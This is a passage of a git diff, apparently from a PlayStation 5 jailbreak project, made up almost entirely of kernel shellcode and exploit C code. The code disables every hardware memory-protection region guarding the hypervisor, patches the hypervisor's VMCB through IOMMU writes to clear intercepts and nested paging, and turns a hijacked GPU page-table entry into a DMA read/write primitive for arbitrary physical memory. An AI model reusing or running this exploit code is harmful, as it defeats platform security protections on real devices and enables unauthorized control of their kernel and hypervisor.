0x0004000000000000ULL); // Clear all intercepts of except. + // vectors but CPUID + iommu_write8_pa(args_ptr, pa + 0x10, + 0x000000000000000FULL); // Clear all except VMMCALL, VMLOAD, + // VMSAVE, VMRUN + iommu_write8_pa(args_ptr, pa + 0x58, + 0x0000000000000001ULL); // Guest ASID ... 1 ? + iommu_write8_pa(args_ptr, pa + 0x90, + 0x0000000000000000ULL); // Disable NP_ENABLE + } +} + +__attribute__((noinline, optimize("O0"))) uint32_t tmr_read(uint64_t dmap, + uint32_t addr) { + *(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_INDEX_OFF) = addr; + return *(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_DATA_OFF); +} + +__attribute__((noinline, optimize("O0"))) void +tmr_write(uint64_t dmap, uint32_t addr, uint32_t val) { + *(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_INDEX_OFF) = addr; + *(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_DATA_OFF) = val; +} + +// On 1.xx and 2.xx the HV is embedded in kernel area on TMR 16 +// On 3.xx and 4.xx there are multiple TMR protecting HV and Kernel +__attribute__((noinline, optimize("O0"))) int tmr_disable(uint64_t dmap) { + for (int i = 0; i < 24; i++) { + if (tmr_read(dmap, TMR_CONFIG(i)) != 0) { + tmr_write(dmap, TMR_CONFIG(i), 0); + if (tmr_read(dmap, TMR_CONFIG(i)) != 0) { + return -1; + } + } + } + return 0; +} + +void init_global_pointers(volatile shellcode_kernel_args *args_ptr) { + + memcpy(&args, (void *)args_ptr, sizeof(args)); + + printf = (void (*)(const char *, ...))args.fun_printf; + smp_rendezvous = (void (*)(void (*)(void), void (*)(void), void (*)(void), + void *))args.fun_smp_rendezvous; + smp_no_rendevous_barrier = (void (*)(void))args.fun_smp_no_rendevous_barrier; + + transmitter_control = (int (*)(int, void *))args.fun_transmitter_control; + mp3_initialize = (int (*)(int))args.fun_mp3_initialize; + mp3_invoke = (int (*)(int, void *, void *))args.fun_mp3_invoke; + g_vbios = args.g_vbios; +} diff --git a/shellcode_kernel/main.h b/shellcode_kernel/main.h index 729fb21..c2feed4 100644 --- a/shellcode_kernel/main.h +++ b/shellcode_kernel/main.h @@ -1,65 +1,65 @@ -#ifndef MAIN_H -#define MAIN_H -#include "shellcode_kernel_args.h" -#include - -void (*printf)(const char *format, ...); -uint32_t (*AcpiSetFirmwareWakingVector)(uint64_t PhysicalAddress, - uint64_t PhysicalAddress64); -uint64_t (*kernel_va_to_pa)(uint64_t va); -uint32_t (*hv_iommu_set_buffers)(uint64_t cb2_pa, uint64_t cb3_pa, - uint64_t eb_pa, uint64_t unk, int *n_devices); -uint32_t (*hv_iommu_wait_completion)(void); -void (*smp_rendezvous)(void (*setup_func)(void), void (*action_func)(void), - void (*teardown_func)(void), void *arg); -void (*smp_no_rendevous_barrier)(void); - -// We are being called instead of AcpiSetFirmwareWakingVector from -// acpi_wakeup_machdep -uint32_t main(uint64_t add1, uint64_t add2); - -uint64_t rdmsr(uint32_t msr); - -// tmr via ecam b0d18f2 -#ifndef ECAM_B0D18F2 -#define ECAM_B0D18F2 (0xF0000000ULL + 0x18ULL * 0x8000 + 2 * 0x1000) -#define TMR_INDEX_OFF 0x80 -#define TMR_DATA_OFF 0x84 -#endif - -// tmr layout (hardware) -#define TMR_BASE(n) ((n) * 0x10 + 0x00) -#define TMR_LIMIT(n) ((n) * 0x10 + 0x04) -#define TMR_CONFIG(n) ((n) * 0x10 + 0x08) -#define TMR_REQUESTORS(n) ((n) * 0x10 + 0x0C) -#define TMR_CFG_PERMISSIVE 0x3F07 -#define MAX_TMR 22 -#define MAX_SAVED_TMRS 8 - -uint32_t tmr_read(uint64_t dmap, uint32_t addr); -void tmr_write(uint64_t dmap, uint32_t addr, uint32_t val); -int tmr_disable(uint64_t dmap); - -// Command buffer MMIO offsets -#define IOMMU_MMIO_CB_HEAD 0xa000 -#define IOMMU_MMIO_CB_TAIL 0xa008 - -// Queue constants -#define IOMMU_CB_SIZE 0x2000 -#define IOMMU_CB_MASK (IOMMU_CB_SIZE - 1) -#define IOMMU_CMD_ENTRY_SIZE 0x10 - -// Submit a single 16-byte command and wait for completion -void iommu_submit_cmd(volatile shellcode_kernel_args *args_ptr, uint64_t *cmd); -// Write 8 bytes to a physical address using IOMMU completion wait store -void iommu_write8_pa(volatile shellcode_kernel_args *args_ptr, uint64_t pa, - uint64_t val); - -void patch_vmcb(volatile shellcode_kernel_args *args_ptr); - -#define NULL (void *)0 -void vmmcall_dummy(void); -void halt(void); -void init_global_pointers(volatile shellcode_kernel_args *args_ptr); - -#endif \ No newline at end of file +#ifndef MAIN_H +#define MAIN_H +#include "shellcode_kernel_args.h" +#include + +void (*printf)(const char *format, ...); +uint32_t (*AcpiSetFirmwareWakingVector)(uint64_t PhysicalAddress, + uint64_t PhysicalAddress64); +uint64_t (*kernel_va_to_pa)(uint64_t va); +uint32_t (*hv_iommu_set_buffers)(uint64_t cb2_pa, uint64_t cb3_pa, + uint64_t eb_pa, uint64_t unk, int *n_devices); +uint32_t (*hv_iommu_wait_completion)(void); +void (*smp_rendezvous)(void (*setup_func)(void), void (*action_func)(void), + void (*teardown_func)(void), void *arg); +void (*smp_no_rendevous_barrier)(void); + +// We are being called instead of AcpiSetFirmwareWakingVector from +// acpi_wakeup_machdep +uint32_t main(uint64_t add1, uint64_t add2); + +uint64_t rdmsr(uint32_t msr); + +// tmr via ecam b0d18f2 +#ifndef ECAM_B0D18F2 +#define ECAM_B0D18F2 (0xF0000000ULL + 0x18ULL * 0x8000 + 2 * 0x1000) +#define TMR_INDEX_OFF 0x80 +#define TMR_DATA_OFF 0x84 +#endif + +// tmr layout (hardware) +#define TMR_BASE(n) ((n) * 0x10 + 0x00) +#define TMR_LIMIT(n) ((n) * 0x10 + 0x04) +#define TMR_CONFIG(n) ((n) * 0x10 + 0x08) +#define TMR_REQUESTORS(n) ((n) * 0x10 + 0x0C) +#define TMR_CFG_PERMISSIVE 0x3F07 +#define MAX_TMR 22 +#define MAX_SAVED_TMRS 8 + +uint32_t tmr_read(uint64_t dmap, uint32_t addr); +void tmr_write(uint64_t dmap, uint32_t addr, uint32_t val); +int tmr_disable(uint64_t dmap); + +// Command buffer MMIO offsets +#define IOMMU_MMIO_CB_HEAD 0xa000 +#define IOMMU_MMIO_CB_TAIL 0xa008 + +// Queue constants +#define IOMMU_CB_SIZE 0x2000 +#define IOMMU_CB_MASK (IOMMU_CB_SIZE - 1) +#define IOMMU_CMD_ENTRY_SIZE 0x10 + +// Submit a single 16-byte command and wait for completion +void iommu_submit_cmd(volatile shellcode_kernel_args *args_ptr, uint64_t *cmd); +// Write 8 bytes to a physical address using IOMMU completion wait store +void iommu_write8_pa(volatile shellcode_kernel_args *args_ptr, uint64_t pa, + uint64_t val); + +void patch_vmcb(volatile shellcode_kernel_args *args_ptr); + +#define NULL (void *)0 +void vmmcall_dummy(void); +void halt(void); +void init_global_pointers(volatile shellcode_kernel_args *args_ptr); + +#endif diff --git a/shellcode_kernel/shellcode_kernel_args.h b/shellcode_kernel/shellcode_kernel_args.h index 5c2a525..b40e7f3 100644 --- a/shellcode_kernel/shellcode_kernel_args.h +++ b/shellcode_kernel/shellcode_kernel_args.h @@ -1,37 +1,37 @@ -// This file is shared between main payload and kernel shellcode -#ifndef SHELLCODE_KERNEL_ARGS_H -#define SHELLCODE_KERNEL_ARGS_H - -#include - -typedef struct { - uint32_t fw_version; - uint64_t ktext; - uint64_t kdata; - uint64_t dmap_base; - uint64_t fun_printf; - uint64_t fun_va_to_pa; - uint64_t fun_hv_iommu_set_buffers; - uint64_t fun_hv_iommu_wait_completion; - uint64_t fun_acpi_set_fw_waking_vector; - uint64_t fun_smp_rendezvous; - uint64_t fun_smp_no_rendevous_barrier; - uint64_t fun_transmitter_control; - uint64_t fun_mp3_initialize; - uint64_t fun_mp3_invoke; - uint64_t g_vbios; - uint64_t iommu_mmio_va; - uint64_t iommu_cb2_va; - uint64_t iommu_cb3_va; - uint64_t iommu_eb_va; - uint64_t vmcb[16]; - uint64_t kernel_uart_override; - uint64_t hv_handle_vmexit_pa; - uint64_t hv_code_cave_pa; - uint64_t hv_uart_override_pa; - uint64_t linux_info_va; // To relocate by kernel shellcode -} shellcode_kernel_args; - -extern shellcode_kernel_args args; // Declared on main.c - -#endif \ No newline at end of file +// This file is shared between main payload and kernel shellcode +#ifndef SHELLCODE_KERNEL_ARGS_H +#define SHELLCODE_KERNEL_ARGS_H + +#include + +typedef struct { + uint32_t fw_version; + uint64_t ktext; + uint64_t kdata; + uint64_t dmap_base; + uint64_t fun_printf; + uint64_t fun_va_to_pa; + uint64_t fun_hv_iommu_set_buffers; + uint64_t fun_hv_iommu_wait_completion; + uint64_t fun_acpi_set_fw_waking_vector; + uint64_t fun_smp_rendezvous; + uint64_t fun_smp_no_rendevous_barrier; + uint64_t fun_transmitter_control; + uint64_t fun_mp3_initialize; + uint64_t fun_mp3_invoke; + uint64_t g_vbios; + uint64_t iommu_mmio_va; + uint64_t iommu_cb2_va; + uint64_t iommu_cb3_va; + uint64_t iommu_eb_va; + uint64_t vmcb[16]; + uint64_t kernel_uart_override; + uint64_t hv_handle_vmexit_pa; + uint64_t hv_code_cave_pa; + uint64_t hv_uart_override_pa; + uint64_t linux_info_va; // To relocate by kernel shellcode +} shellcode_kernel_args; + +extern shellcode_kernel_args args; // Declared on main.c + +#endif diff --git a/shellcode_kernel/utils.c b/shellcode_kernel/utils.c index 90ea533..6eb18ea 100644 --- a/shellcode_kernel/utils.c +++ b/shellcode_kernel/utils.c @@ -1,77 +1,77 @@ -#include "utils.h" -#include "shellcode_kernel_args.h" - -extern shellcode_kernel_args args; - -uint64_t PHYS_TO_DMAP(uint64_t pa) { return args.dmap_base + pa; } - -void memcpy(void *dest, void *src, uint64_t len) { - uint8_t *d = (uint8_t *)dest; - const uint8_t *s = (const uint8_t *)src; - for (uint64_t i = 0; i < len; i++) { - d[i] = s[i]; - } -} - -uint64_t read_cr3(void) { - uint64_t cr3; - __asm__ volatile("mov %%cr3, %0" - : "=r"(cr3) // Output: move CR3 into the variable 'cr3' - : // No inputs - : // No clobbered registers - ); - return cr3; -} - -// for ring0 -uint64_t va_to_pa_kernel(uint64_t va) { - uint64_t cr3 = read_cr3(); - return va_to_pa_custom(va, cr3); -} - -// Source: PS5_kldload -uint64_t va_to_pa_custom(uint64_t va, uint64_t cr3_custom) { - - uint64_t table_phys = cr3_custom & 0xFFFFFFFF; - - for (int level = 0; level < 4; level++) { - int shift = 39 - (level * 9); - uint64_t idx = (va >> shift) & 0x1FF; - uint64_t entry; - uint64_t entry_va = PHYS_TO_DMAP(PAGE_PA(table_phys) + idx * 8); - - entry = *(uint64_t *)entry_va; - - if (!PAGE_P(entry)) - return 0; - - if ((level == 1 || level == 2) && PAGE_PS(entry)) { - uint64_t page_size = P_SIZE(level); - return PAGE_PA(entry) | (va & (page_size - 1)); - } - - if (level == 3) - return PAGE_PA(entry) | (va & 0xFFF); - - table_phys = PAGE_PA(entry); - } - return 0; -} - -__attribute__((noinline, optimize("O0"))) uint32_t putc_uart(uint64_t dmap, - uint8_t tx_byte) { - volatile uint32_t *uart_tx = (uint32_t *) (dmap + 0xc1010104ULL); - volatile uint32_t *uart_busy = (uint32_t *) (dmap + 0xc101010cULL); - uint64_t timeout = 0xFFFFFFFF; - do { - timeout--; - if (timeout == 0) - break; - } while (((*uart_busy) & 0x20) == 0); - - if (timeout == 0) - return -1; - - *uart_tx = (uint32_t)tx_byte & 0xFF; - return 0; -} \ No newline at end of file +#include "utils.h" +#include "shellcode_kernel_args.h" + +extern shellcode_kernel_args args; + +uint64_t PHYS_TO_DMAP(uint64_t pa) { return args.dmap_base + pa; } + +void memcpy(void *dest, void *src, uint64_t len) { + uint8_t *d = (uint8_t *)dest; + const uint8_t *s = (const uint8_t *)src; + for (uint64_t i = 0; i < len; i++) { + d[i] = s[i]; + } +} + +uint64_t read_cr3(void) { + uint64_t cr3; + __asm__ volatile("mov %%cr3, %0" + : "=r"(cr3) // Output: move CR3 into the variable 'cr3' + : // No inputs + : // No clobbered registers + ); + return cr3; +} + +// for ring0 +uint64_t va_to_pa_kernel(uint64_t va) { + uint64_t cr3 = read_cr3(); + return va_to_pa_custom(va, cr3); +} + +// Source: PS5_kldload +uint64_t va_to_pa_custom(uint64_t va, uint64_t cr3_custom) { + + uint64_t table_phys = cr3_custom & 0xFFFFFFFF; + + for (int level = 0; level < 4; level++) { + int shift = 39 - (level * 9); + uint64_t idx = (va >> shift) & 0x1FF; + uint64_t entry; + uint64_t entry_va = PHYS_TO_DMAP(PAGE_PA(table_phys) + idx * 8); + + entry = *(uint64_t *)entry_va; + + if (!PAGE_P(entry)) + return 0; + + if ((level == 1 || level == 2) && PAGE_PS(entry)) { + uint64_t page_size = P_SIZE(level); + return PAGE_PA(entry) | (va & (page_size - 1)); + } + + if (level == 3) + return PAGE_PA(entry) | (va & 0xFFF); + + table_phys = PAGE_PA(entry); + } + return 0; +} + +__attribute__((noinline, optimize("O0"))) uint32_t putc_uart(uint64_t dmap, + uint8_t tx_byte) { + volatile uint32_t *uart_tx = (uint32_t *)(dmap + 0xc1010104ULL); + volatile uint32_t *uart_busy = (uint32_t *)(dmap + 0xc101010cULL); + uint64_t timeout = 0xFFFFFFFF; + do { + timeout--; + if (timeout == 0) + break; + } while (((*uart_busy) & 0x20) == 0); + + if (timeout == 0) + return -1; + + *uart_tx = (uint32_t)tx_byte & 0xFF; + return 0; +} diff --git a/shellcode_kernel/utils.h b/shellcode_kernel/utils.h index 08e51e5..41171db 100644 --- a/shellcode_kernel/utils.h +++ b/shellcode_kernel/utils.h @@ -1,43 +1,43 @@ -#ifndef UTILS_H -#define UTILS_H -#include "shellcode_kernel_args.h" -#include - -extern void (*printf)(const char *format, ...); -uint64_t PHYS_TO_DMAP(uint64_t pa); -void memcpy(void *dest, void *src, uint64_t len); - -// Defines for Page management -enum page_bits { - P = 0, - RW, - US, - PWT, - PCD, - A, - D, - PS, - G, - XO = 58, - PK = 59, - NX = 63 -}; - -#define PG_B_P (1ULL << P) -#define PG_B_RW (1ULL << RW) -#define PAGE_P(x) (x & (1ULL << P)) -#define PAGE_RW(x) (x & (1ULL << RW)) -#define PAGE_PS(x) (x & (1ULL << PS)) -#define PAGE_XO(x) (x & (1ULL << XO)) -#define PAGE_CLEAR_XO(x) (x &= ~(1ULL << XO)) -#define PAGE_CLEAR_G(x) (x &= ~(1ULL << G)) -#define PAGE_SET_RW(x) (x |= (1ULL << RW)) -#define PAGE_PA(x) (x & 0x000FFFFFFFFFF000ULL) -#define P_SIZE(l) ((l == 1) ? (1ULL << 30) : (1ULL << 21)) - -uint64_t read_cr3(void); -uint64_t va_to_pa_kernel(uint64_t va); -uint64_t va_to_pa_custom(uint64_t va, uint64_t cr3_custom); -uint32_t putc_uart(uint64_t dmap, uint8_t tx_byte); - -#endif \ No newline at end of file +#ifndef UTILS_H +#define UTILS_H +#include "shellcode_kernel_args.h" +#include + +extern void (*printf)(const char *format, ...); +uint64_t PHYS_TO_DMAP(uint64_t pa); +void memcpy(void *dest, void *src, uint64_t len); + +// Defines for Page management +enum page_bits { + P = 0, + RW, + US, + PWT, + PCD, + A, + D, + PS, + G, + XO = 58, + PK = 59, + NX = 63 +}; + +#define PG_B_P (1ULL << P) +#define PG_B_RW (1ULL << RW) +#define PAGE_P(x) (x & (1ULL << P)) +#define PAGE_RW(x) (x & (1ULL << RW)) +#define PAGE_PS(x) (x & (1ULL << PS)) +#define PAGE_XO(x) (x & (1ULL << XO)) +#define PAGE_CLEAR_XO(x) (x &= ~(1ULL << XO)) +#define PAGE_CLEAR_G(x) (x &= ~(1ULL << G)) +#define PAGE_SET_RW(x) (x |= (1ULL << RW)) +#define PAGE_PA(x) (x & 0x000FFFFFFFFFF000ULL) +#define P_SIZE(l) ((l == 1) ? (1ULL << 30) : (1ULL << 21)) + +uint64_t read_cr3(void); +uint64_t va_to_pa_kernel(uint64_t va); +uint64_t va_to_pa_custom(uint64_t va, uint64_t cr3_custom); +uint32_t putc_uart(uint64_t dmap, uint8_t tx_byte); + +#endif diff --git a/source/firmware.c b/source/firmware.c index d77efec..79b5fe1 100644 --- a/source/firmware.c +++ b/source/firmware.c @@ -57,13 +57,13 @@ static int build_firmware_path(const char *boot_file_path, char *boot_dir, if (slash == NULL) return -1; - ret = snprintf(boot_dir, boot_dir_size, "%.*s", - (int)(slash - boot_file_path), boot_file_path); + ret = snprintf(boot_dir, boot_dir_size, "%.*s", (int)(slash - boot_file_path), + boot_file_path); if (ret < 0 || (size_t)ret >= boot_dir_size) return -1; - ret = snprintf(fw_path, fw_path_size, "%s/%s", boot_dir, - PS5_WIFI_FW_BOOT_PATH); + ret = + snprintf(fw_path, fw_path_size, "%s/%s", boot_dir, PS5_WIFI_FW_BOOT_PATH); if (ret < 0 || (size_t)ret >= fw_path_size) return -1; diff --git a/source/gpu.c b/source/gpu.c index 570fdf9..b2a5b18 100644 --- a/source/gpu.c +++ b/source/gpu.c @@ -1,495 +1,495 @@ -#include "gpu.h" -#include "utils.h" -#include -#include -#include -#include -#include -#include -#include -#include - -int sceKernelAllocateMainDirectMemory(size_t size, size_t alignment, - int mem_type, uint64_t *phys_out); -int sceKernelMapNamedDirectMemory(void **va_out, size_t size, int prot, - int flags, uint64_t phys, size_t alignment, - const char *name); -int sceKernelSleep(int secs); - -static struct gpu_ctx s_gpu = {0}; -static struct gpu_kernel_offsets s_gpu_offsets = {0}; -static int s_offsets_set = 0; - -struct gpu_ctx *gpu_get_ctx(void) { return &s_gpu; } - -void gpu_set_offsets(struct gpu_kernel_offsets *offsets) { - memcpy(&s_gpu_offsets, offsets, sizeof(s_gpu_offsets)); - s_offsets_set = 1; -} - -static uint64_t gpu_pde_field(uint64_t pde, int shift, uint64_t mask) { - return (pde >> shift) & mask; -} - -static int gpu_get_vmid(void) { - uint64_t curproc = kernel_get_proc(getpid()); - uint64_t vmspace; - uint32_t vmid; - - kernel_copyout(curproc + s_gpu_offsets.proc_vmspace, &vmspace, - sizeof(vmspace)); - kernel_copyout(vmspace + s_gpu_offsets.vmspace_vm_vmid, &vmid, sizeof(vmid)); - - return (int)vmid; -} - -static uint64_t gpu_get_pdb2_addr(int vmid) { - uint64_t gvmspace = KERNEL_ADDRESS_DATA_BASE + - s_gpu_offsets.data_base_gvmspace + - (uint64_t)vmid * s_gpu_offsets.sizeof_gvmspace; - - uint64_t pdb2_va; - kernel_copyout(gvmspace + s_gpu_offsets.gvmspace_page_dir_va, &pdb2_va, - sizeof(pdb2_va)); - return pdb2_va; -} - -static uint64_t gpu_get_relative_va(int vmid, uint64_t va) { - uint64_t gvmspace = KERNEL_ADDRESS_DATA_BASE + - s_gpu_offsets.data_base_gvmspace + - (uint64_t)vmid * s_gpu_offsets.sizeof_gvmspace; - - uint64_t start_va, size; - kernel_copyout(gvmspace + s_gpu_offsets.gvmspace_start_va, &start_va, - sizeof(start_va)); - kernel_copyout(gvmspace + s_gpu_offsets.gvmspace_size, &size, sizeof(size)); - - if (va >= start_va && va < start_va + size) - return va - start_va; - - return (uint64_t)-1; -} - -static uint64_t gpu_walk_pt(int vmid, uint64_t gpu_va, - uint64_t *out_page_size) { - uint64_t pdb2_addr = gpu_get_pdb2_addr(vmid); - - uint64_t pml4e_idx = (gpu_va >> 39) & 0x1FF; - uint64_t pdpe_idx = (gpu_va >> 30) & 0x1FF; - uint64_t pde_idx = (gpu_va >> 21) & 0x1FF; - - // PDB2 (PML4 equivalent) - uint64_t pml4e; - kernel_copyout(pdb2_addr + pml4e_idx * 8, &pml4e, sizeof(pml4e)); - - if (gpu_pde_field(pml4e, GPU_PDE_VALID_BIT, 1) != 1) - return 0; - - // PDB1 (PDPT equivalent) - uint64_t pdp_pa = pml4e & GPU_PDE_ADDR_MASK; - uint64_t pdpe_va = dmap + pdp_pa + pdpe_idx * 8; - uint64_t pdpe; - kernel_copyout(pdpe_va, &pdpe, sizeof(pdpe)); - - if (gpu_pde_field(pdpe, GPU_PDE_VALID_BIT, 1) != 1) - return 0; - - // PDB0 (PD equivalent) - uint64_t pd_pa = pdpe & GPU_PDE_ADDR_MASK; - uint64_t pde_va = dmap + pd_pa + pde_idx * 8; - uint64_t pde; - kernel_copyout(pde_va, &pde, sizeof(pde)); - - if (gpu_pde_field(pde, GPU_PDE_VALID_BIT, 1) != 1) - return 0; - - // If IS_PTE bit set, this is a 2MB leaf - if (gpu_pde_field(pde, GPU_PDE_IS_PTE_BIT, 1) == 1) { - *out_page_size = 0x200000; - return pde_va; - } - - // PTB (page table block) - uint64_t frag_size = gpu_pde_field(pde, GPU_PDE_BLOCK_FRAG_BIT, 0x1F); - uint64_t offset = gpu_va & 0x1FFFFF; - uint64_t pt_pa = pde & GPU_PDE_ADDR_MASK; - - uint64_t pte_idx, pte_va; - - if (frag_size == 4) { - pte_idx = offset >> 16; - pte_va = dmap + pt_pa + pte_idx * 8; - - uint64_t pte; - kernel_copyout(pte_va, &pte, sizeof(pte)); - - if (gpu_pde_field(pte, GPU_PDE_VALID_BIT, 1) == 1 && - gpu_pde_field(pte, GPU_PDE_TF_BIT, 1) == 1) { - pte_idx = (gpu_va & 0xFFFF) >> 13; - pte_va = dmap + pt_pa + pte_idx * 8; - *out_page_size = 0x2000; // 8KB - } else { - *out_page_size = 0x10000; // 64KB - } - } else if (frag_size == 1) { - pte_idx = offset >> 13; - pte_va = dmap + pt_pa + pte_idx * 8; - *out_page_size = 0x2000; // 8KB - } else { - // Unknown fragment size - use 64KB as default - pte_idx = offset >> 16; - pte_va = dmap + pt_pa + pte_idx * 8; - *out_page_size = 0x10000; - } - - return pte_va; -} - -static uint64_t gpu_alloc_dmem(uint64_t size, int gpu_write) { - uint64_t phys_out = 0; - void *va_out = NULL; - - int prot = PROT_READ | PROT_WRITE | PROT_GPU_READ; - if (gpu_write) - prot |= PROT_GPU_WRITE; - - int ret = sceKernelAllocateMainDirectMemory(size, size, 1, &phys_out); - if (ret != 0) { - printf("[gpu] sceKernelAllocateMainDirectMemory failed: 0x%d\n", ret); - return 0; - } - - ret = sceKernelMapNamedDirectMemory(&va_out, size, prot, MAP_NO_COALESCE, - phys_out, size, "gpudma"); - if (ret != 0) { - printf("[gpu] sceKernelMapNamedDirectMemory failed: 0x%d\n", ret); - return 0; - } - - return (uint64_t)va_out; -} - -static uint32_t pm4_type3_header(uint32_t opcode, uint32_t count) { - return ((PM4_TYPE3 & 0x3) << 30) | (((count - 1) & 0x3FFF) << 16) | - ((opcode & 0xFF) << 8) | ((PM4_SHADER_COMPUTE & 0x1) << 1); -} - -static int pm4_build_dma_data(void *buf, uint64_t dst_va, uint64_t src_va, - uint32_t length) { - uint32_t *pkt = (uint32_t *)buf; - uint32_t count = 6; - - uint32_t dma_hdr = (1u << 31) // cp_sync - | (2u << 25) // dst_cache_policy - | (1u << 27) // dst_volatile - | (2u << 13) // src_cache_policy - | (1u << 15); // src_volatile - - pkt[0] = pm4_type3_header(PM4_OPCODE_DMA_DATA, count); - pkt[1] = dma_hdr; - pkt[2] = (uint32_t)(src_va & 0xFFFFFFFF); - pkt[3] = (uint32_t)(src_va >> 32); - pkt[4] = (uint32_t)(dst_va & 0xFFFFFFFF); - pkt[5] = (uint32_t)(dst_va >> 32); - pkt[6] = length & 0x1FFFFF; - - return 7 * sizeof(uint32_t); -} - -static void gpu_build_cmd_descriptor(void *desc, uint64_t gpu_addr, - uint32_t size_bytes) { - uint64_t *d = (uint64_t *)desc; - uint32_t size_dwords = size_bytes >> 2; - - d[0] = ((gpu_addr & 0xFFFFFFFFULL) << 32) | 0xC0023F00ULL; - d[1] = - (((uint64_t)size_dwords & 0xFFFFF) << 32) | ((gpu_addr >> 32) & 0xFFFF); -} - -static int gpu_submit_commands(int fd, uint32_t pipe_id, uint32_t cmd_count, - uint64_t descriptors_ptr) { - struct { - uint32_t pipe_id; - uint32_t count; - uint64_t cmd_buf_ptr; - } submit; - - submit.pipe_id = pipe_id; - submit.count = cmd_count; - submit.cmd_buf_ptr = descriptors_ptr; - - return ioctl(fd, GPU_SUBMIT_IOCTL, &submit); -} - -static int gpu_transfer_physical(uint64_t phys_addr, void *local_buf, - uint32_t size, int is_write) { - if (!s_gpu.initialized) - return -1; - - uint64_t aligned_pa = phys_addr & ~(s_gpu.dmem_size - 1); - uint64_t offset = phys_addr - aligned_pa; - - if (offset + size > s_gpu.dmem_size) { - printf("[gpu] transfer exceeds dmem_size\n"); - return -1; - } - - int prot_ro = PROT_READ | PROT_WRITE | PROT_GPU_READ; - int prot_rw = prot_ro | PROT_GPU_WRITE; - - mprotect((void *)s_gpu.victim_va, s_gpu.dmem_size, prot_ro); - - uint64_t new_ptbe = s_gpu.cleared_ptbe | aligned_pa; - kernel_setlong(s_gpu.victim_ptbe_va, new_ptbe); - - mprotect((void *)s_gpu.victim_va, s_gpu.dmem_size, prot_rw); - uint64_t src, dst; - - if (is_write) { - memcpy((void *)s_gpu.transfer_va, local_buf, size); - src = s_gpu.transfer_va; - dst = s_gpu.victim_va + offset; - } else { - src = s_gpu.victim_va + offset; - dst = s_gpu.transfer_va; - } - - int cmd_size = pm4_build_dma_data((void *)s_gpu.cmd_va, dst, src, size); - - uint8_t desc[16]; - gpu_build_cmd_descriptor(desc, s_gpu.cmd_va, cmd_size); - - uint64_t desc_va = s_gpu.cmd_va + 0x1000; - memcpy((void *)desc_va, desc, 16); - - int ret = gpu_submit_commands(s_gpu.fd, 0, 1, desc_va); - if (ret != 0) { - printf("[gpu] ioctl submit failed: %d\n", ret); - return -1; - } - - // Wait for GPU DMA completion - // TODO: proper fence/signal wait - usleep(100000); - - if (!is_write) { - memcpy(local_buf, (void *)s_gpu.transfer_va, size); - } - - // Restore victim PTE to original physical address - uint64_t orig_ptbe = s_gpu.cleared_ptbe | s_gpu.victim_real_pa; - kernel_setlong(s_gpu.victim_ptbe_va, orig_ptbe); - - return 0; -} - -int gpu_init(void) { - // init GPU DMA - struct gpu_kernel_offsets go = {}; - go.proc_vmspace = KERNEL_OFFSET_PROC_P_VMSPACE; - go.vmspace_vm_vmid = env_offset.VMSPACE_VM_VMID; - go.sizeof_gvmspace = 0x100; - go.gvmspace_page_dir_va = 0x38; - go.gvmspace_size = 0x10; - go.gvmspace_start_va = 0x08; - go.data_base_gvmspace = env_offset.DATA_BASE_GVMSPACE; - - gpu_set_offsets(&go); - - if (gpu_init_internal()) - return -1; - - return 0; -} - -int gpu_init_internal(void) { - if (s_gpu.initialized) { - DEBUG_PRINT("[gpu] Already initialized\n"); - return 0; - } - - if (!s_offsets_set) { - DEBUG_PRINT("[gpu] ERROR: call gpu_set_offsets() first\n"); - return -1; - } - - DEBUG_PRINT("[gpu] init\n"); - - s_gpu.dmem_size = 2 * 0x100000; // 2MB - - // Step 1: Open GPU device - DEBUG_PRINT("[gpu] Opening /dev/gc\n"); - s_gpu.fd = open("/dev/gc", O_RDWR); - if (s_gpu.fd < 0) { - DEBUG_PRINT("[gpu] ERROR: failed to open /dev/gc (fd=%d)\n", s_gpu.fd); - return -1; - } - DEBUG_PRINT("[gpu] /dev/gc fd=%d\n", s_gpu.fd); - - // Step 2: Allocate 3 GPU-mapped buffers - DEBUG_PRINT("[gpu] Allocating GPU direct memory (3 x 2MB)\n"); - - s_gpu.victim_va = gpu_alloc_dmem(s_gpu.dmem_size, 1); - if (!s_gpu.victim_va) { - DEBUG_PRINT("[gpu] victim alloc failed\n"); - return -2; - } - - s_gpu.transfer_va = gpu_alloc_dmem(s_gpu.dmem_size, 1); - if (!s_gpu.transfer_va) { - DEBUG_PRINT("[gpu] transfer alloc failed\n"); - return -2; - } - - s_gpu.cmd_va = gpu_alloc_dmem(s_gpu.dmem_size, 1); - if (!s_gpu.cmd_va) { - DEBUG_PRINT("[gpu] cmd alloc failed\n"); - return -2; - } - - DEBUG_PRINT("[gpu] victim_va = 0x%lx\n", s_gpu.victim_va); - DEBUG_PRINT("[gpu] transfer_va = 0x%lx\n", s_gpu.transfer_va); - DEBUG_PRINT("[gpu] cmd_va = 0x%lx\n", s_gpu.cmd_va); - - // Step 3: Get the physical address of the victim buffer - s_gpu.victim_real_pa = va_to_pa_user(s_gpu.victim_va); - DEBUG_PRINT("[gpu] victim_real_pa = 0x%lx\n", s_gpu.victim_real_pa); - - // Step 4: Walk GPU page tables to find the PTE for the victim buffer - int vmid = gpu_get_vmid(); - DEBUG_PRINT("[gpu] GPU VMID = %d\n", vmid); - - if (s_gpu_offsets.data_base_gvmspace == 0) { - DEBUG_PRINT("[gpu] ERROR: data_base_gvmspace not set\n"); - return -3; - } - - uint64_t rel_va = gpu_get_relative_va(vmid, s_gpu.victim_va); - if (rel_va == (uint64_t)-1) { - DEBUG_PRINT("[gpu] ERROR: could not get relative VA for victim\n"); - return -3; - } - DEBUG_PRINT("[gpu] victim relative GPU VA = 0x%lx\n", rel_va); - - s_gpu.victim_ptbe_va = gpu_walk_pt(vmid, rel_va, &s_gpu.page_size); - if (s_gpu.victim_ptbe_va == 0) { - DEBUG_PRINT("[gpu] ERROR: GPU page table walk failed\n"); - return -4; - } - DEBUG_PRINT("[gpu] victim GPU PTE VA = 0x%lx\n", s_gpu.victim_ptbe_va); - DEBUG_PRINT("[gpu] victim GPU page sz = 0x%lx\n", s_gpu.page_size); - - if (s_gpu.page_size != s_gpu.dmem_size) { - DEBUG_PRINT("[gpu] WARNING: page size 0x%lx != dmem_size 0x%lx\n", - s_gpu.page_size, s_gpu.dmem_size); - } - - // Step 5: Prepare the cleared PTE template - int prot_ro = PROT_READ | PROT_WRITE | PROT_GPU_READ; - mprotect((void *)s_gpu.victim_va, s_gpu.dmem_size, prot_ro); - - uint64_t 